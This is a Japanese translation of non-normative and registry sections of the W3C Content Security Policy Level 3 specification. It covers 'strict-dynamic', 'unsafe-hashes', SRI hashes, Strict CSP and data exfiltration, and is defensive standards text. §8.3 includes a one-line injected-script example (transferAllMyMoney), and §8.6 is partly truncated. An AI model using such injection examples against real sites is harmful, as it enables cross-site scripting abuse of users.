CSP2対応のブラウザでは https: 'nonce-DhcnhD3khTMePgXwdayK9BsMqXjhguVV' として、
CSP3対応のブラウザでは
'nonce-DhcnhD3khTMePgXwdayK9BsMqXjhguVV' 'strict-dynamic' として動作します。
二番目の効果により、nonceやハッシュでページへのアクセスが許可されたスクリプトは、依存関係を明示的にページのポリシーに追加することなく読み込むことができます。
Content-Security-Policy: script-src 'nonce-DhcnhD3khTMePgXwdayK9BsMqXjhguVV' 'strict-dynamic'
そしてそのポリシーが有効な状態で以下のHTMLを配信するとします:
...< script src = "https://cdn.example.com/script.js" nonce = "DhcnhD3khTMePgXwdayK9BsMqXjhguVV" ></ script > ...
これにより https://cdn.example.com/script.js へのリクエストが生成されますが、
nonce
属性が一致するためブロックされません。
もし script.js に次のようなコードが含まれていた場合:
var s= document. createElement( 'script' ); s. src= 'https://othercdn.not-example.net/dependency.js' ; document. head. appendChild( s); document. write( '<scr' + 'ipt src="/sadness.js"></scr' + 'ipt>' );
dependency.js は読み込まれます。なぜなら
createElement() で生成された
script
要素は "parser-inserted" ではないからです。
一方で sadness.js は読み込まれません。これは document.write() により生成される
script
要素は "parser-inserted" であるためです。
Note: 'strict-dynamic' を利用すると、実行時に生成されたスクリプトが実行可能になります。こうしたスクリプトの場所が攻撃者によって制御できる場合、ポリシーは任意のスクリプトの読み込みを許可することになります。'strict-dynamic' をポリシーに利用する開発者は、非parser-inserted APIの利用を監査し、潜在的に信用できないデータで呼び出されないようにするべきです。これは、スクリプトの場所を実行時に決定する傾向のあるアプリケーションやフレームワークも含みます。
8.3.
"'unsafe-hashes'"の利用
このセクションは規範的ではありません。
レガシーサイトや依存関係が古いサイトは、イベントハンドラを完全に外部化するのが困難な場合があります。これらのサイトは'unsafe-inline'で許可できますが、リスクが高く(nonceやハッシュと併用不可)です。
'unsafe-hashes'ソース式は、このような状況でCSPの導入を簡単かつ安全にするため、ハッシュで特定ハンドラを有効化できるようにします。
< button id = "action" onclick = "doSubmit()" >
彼らはセキュリティを下げる'unsafe-inline'ではなく、'unsafe-hashes'とdoSubmit()対応のハッシュ式を利用することにしました:
Content-Security-Policy: script-src 'unsafe-hashes' 'sha256-jzgBGA4UWFFmpOBq0JpdsySukE1FrEN5bUpoK8Z29fY='
'unsafe-hashes'の能力はレガシーサイト向けには有益ですが、最新サイトでは避けるべきです。特に、ハッシュで特定スクリプトの実行は許可できますが、開発者の意図通りに実行される保証はありません。重要な機能がインラインイベントハンドラで露出されている場合(例:<a onclick="transferAllMyMoney()">Transfer</a>)、攻撃者が<script>transferAllMyMoney()</script>としてインジェクト可能になります。開発者はリスクと利便性を慎重に判断してください。
8.4. ハッシュによる外部JavaScriptの許可
このセクションは規範的ではありません。
[CSP2]では、ハッシュsource expressionはインラインスクリプトだけに適用されましたが、Subresource Integrity [SRI]が広く普及した現在、外部JavaScriptにも適用できるようになりました。
複数セットのintegrityメタデータがscript要素に指定された場合、リクエストはポリシーのhash-sourceに一致する場合のみ(全てのintegrityメタデータが一致する場合のみ)許可されます。
注:
CSP仕様では、インラインscript要素やイベントハンドラの内容はハッシュ計算前にUTF-8エンコードする必要があります。[SRI]はフェッチした生リソースにハッシュを計算します。したがって、インラインスクリプトと外部スクリプトが内容的に同一でも、許可に必要なハッシュ値が異なる場合があります。
Content-Security-Policy: script-src 'sha256-abc123' 'sha512-321cba'
このポリシー下では、以下のscript要素は、integrityメタデータがポリシーに一致するので実行が許可されます:
< script integrity = "sha256-abc123" ...></ script > < script integrity = "sha512-321cba" ...></ script > < script integrity = "sha256-abc123 sha512-321cba" ...></ script >
一方、以下のscript要素は、validなメタデータがポリシーと一致しない(他のメタデータは一致していても)ため実行されません:
< script integrity = " sha384-xyz789 " ...></ script > < script integrity = " sha384-xyz789 sha512-321cba" ...></ script > < script integrity = "sha256-abc123 sha384-xyz789 sha512-321cba" ...></ script >
認識されないメタデータ(完全に無効か、未サポートハッシュアルゴリズム指定)は、ここで説明する動作に影響しません。次の要素は追加メタデータが無効なので、明示的にポリシーに列挙されていないスクリプトの実行は許可されませんが、上記ポリシーで実行可能です:
< script integrity = "sha256-abc123 sha1024-abcd " ...></ script > < script integrity = "sha512-321cba entirely-invalid " ...></ script > < script integrity = "sha256-abc123 not-a-hash-at-all sha512-321cba" ...></ script >
8.5. 厳格CSP
このセクションは規範的なものではありません。
XSSに対して有効なCSPのデプロイは困難です(詳細は CSP Is Dead, Long Live CSP! [LONG-LIVE-CSP] を参照)。しかし、以下のCSPディレクティブのセットを厳格に適用することが、 XSS対策として有効であり、導入も可能であることが確認されています。
-
script-src: nonce source-expression および / または hash source-expression を "'strict-dynamic'" keyword-source とともに使用すること。
Note: "'strict-dynamic'" は(§ 8.2 "'strict-dynamic'" の利用に記載がある通り)導入が容易ですが、可能な限り利用は避けるべきです。
Note: 後方互換性のため、https: scheme-source を "'strict-dynamic'" と併記することが推奨されます。
上記の基準を満たすCSPは Strict CSPと呼ばれます。詳細は [WEBDEV-STRICTCSP] にて議論されています。
NonceベースのStrict CSP:
Content-Security-Policy: script-src 'strict-dynamic' 'nonce-{RANDOM}'; base-uri 'self';
ハッシュベースのStrict CSP:
Content-Security-Policy: script-src 'strict-dynamic' 'sha256-{HASHED_INLINE_SCRIPT}'; base-uri 'self';
8.6. データ流出
このセクションは規範的ではありません。
リクエスト内容(URLなど)にユーザーやページ情報が含まれる場合、これが制限されずに共有されることでデータ流出が起こり得ます。
Content Security Policyは、ページが通信可能なサーバーの許可リストを作ることでデータ流出を防げます。default-src指令がないポリシーは流出防止にならない点に注意してください。より細かい指令(prefetchなど)では対応できないリクエストもあるためです。[HTML]
fetch()、prefetchなど)でデータ流出が可能です:[HTML]
Content-Security-Policy: img-src 'none'; script-src 'none'; font-src 'none'
このポリシーにdefault-src 'none'を追加すれば、こうした攻撃への耐性が向上します。
Content-Security-Policy: default-src 'none'; img-src *
9. 実装に関する考慮事項
9.1. ベンダー独自拡張とアドオン
ポリシーがリソースに強制される場合、アドオン、拡張機能、ブックマークレットなどユーザーエージェント機能の動作を妨げるべきではありません(SHOULD NOT)。こうした機能は一般にページ作者よりユーザープライオリティが高いと考えられます([HTML-DESIGN]参照)。
さらに、これらの機能にCSPを適用すると違反レポートに大量のノイズが発生し、開発者にとって価値が大きく減少します。
Chromeでは例えば、chrome-extension:スキームをCSPチェックから除外し、拡張機能によるインジェクションはページのポリシーによらず許可されるようになっています。
10. IANAに関する考慮事項
10.1. 指令レジストリ
Content Security Policy指令レジストリは、以下の指令と参照で更新すべきです([RFC7762]参照):
base-uri-
本書(§ 6.3.1 base-uri参照)
child-src-
本書(§ 6.1.1 child-src参照)
connect-src-
本書(§ 6.1.2 connect-src参照)
default-src-
本書(§ 6.1.3 default-src参照)
font-src-
本書(§ 6.1.4 font-src参照)
form-action-
本書(§ 6.4.1 form-action参照)
frame-ancestors-
本書(§ 6.4.2 frame-ancestors参照)
frame-src-
本書(§ 6.1.5 frame-src参照)
img-src-
本書(§ 6.1.6 img-src参照)
manifest-src-
本書(§ 6.1.7 manifest-src参照)
media-src-
本書(§ 6.1.8 media-src参照)
object-src-
本書(§ 6.1.9 object-src参照)
report-uri-
本書(§ 6.5.1 report-uri参照)
report-to-
本書(§ 6.5.2 report-to参照)
sandbox-
本書(§ 6.3.2 sandbox参照)
script-src-
本書(§ 6.1.10 script-src参照)
script-src-attr-
本書(§ 6.1.12 script-src-attr参照)
script-src-elem-
本書(§ 6.1.11 script-src-elem参照)
style-src-
本書(§ 6.1.13 style-src参照)
style-src-attr-
本書(§ 6.1.15 style-src-attr参照)
style-src-elem-
本書(§ 6.1.14 style-src-elem参照)
worker-src-
本書(§ 6.2.2 worker-src参照)
10.2. ヘッダー
パーマネントメッセージヘッダーフィールドレジストリは、以下の登録で更新すべきです:[RFC3864]
10.2.1. Content-Security-Policy
- ヘッダーフィールド名
- Content-Security-Policy
- 適用プロトコル
- http
- ステータス
- standard
- 著者/変更管理者
- W3C
- 仕様文書
- 本仕様書(§ 3.1 Content-Security-Policy HTTPレスポンスヘッダーフィールド参照)
10.2.2. Content-Security-Policy-Report-Only
- ヘッダーフィールド名
- Content-Security-Policy-Report-Only
- 適用プロトコル
- http
- ステータス
- standard
- 著者/変更管理者
- W3C
- 仕様文書
- 本仕様書(§ 3.2 Content-Security-Policy-Report-Only HTTPレスポンスヘッダーフィールド参照)
11. 謝辞
多くの方々に感謝します。例えば:
-
MarioとCure53の皆さん。
-
Artur Janc、Michele Spagnuolo、Lukas Weichselbaum、Jochen Eisinger、そしてGoogleのCSP Cabalの皆さん。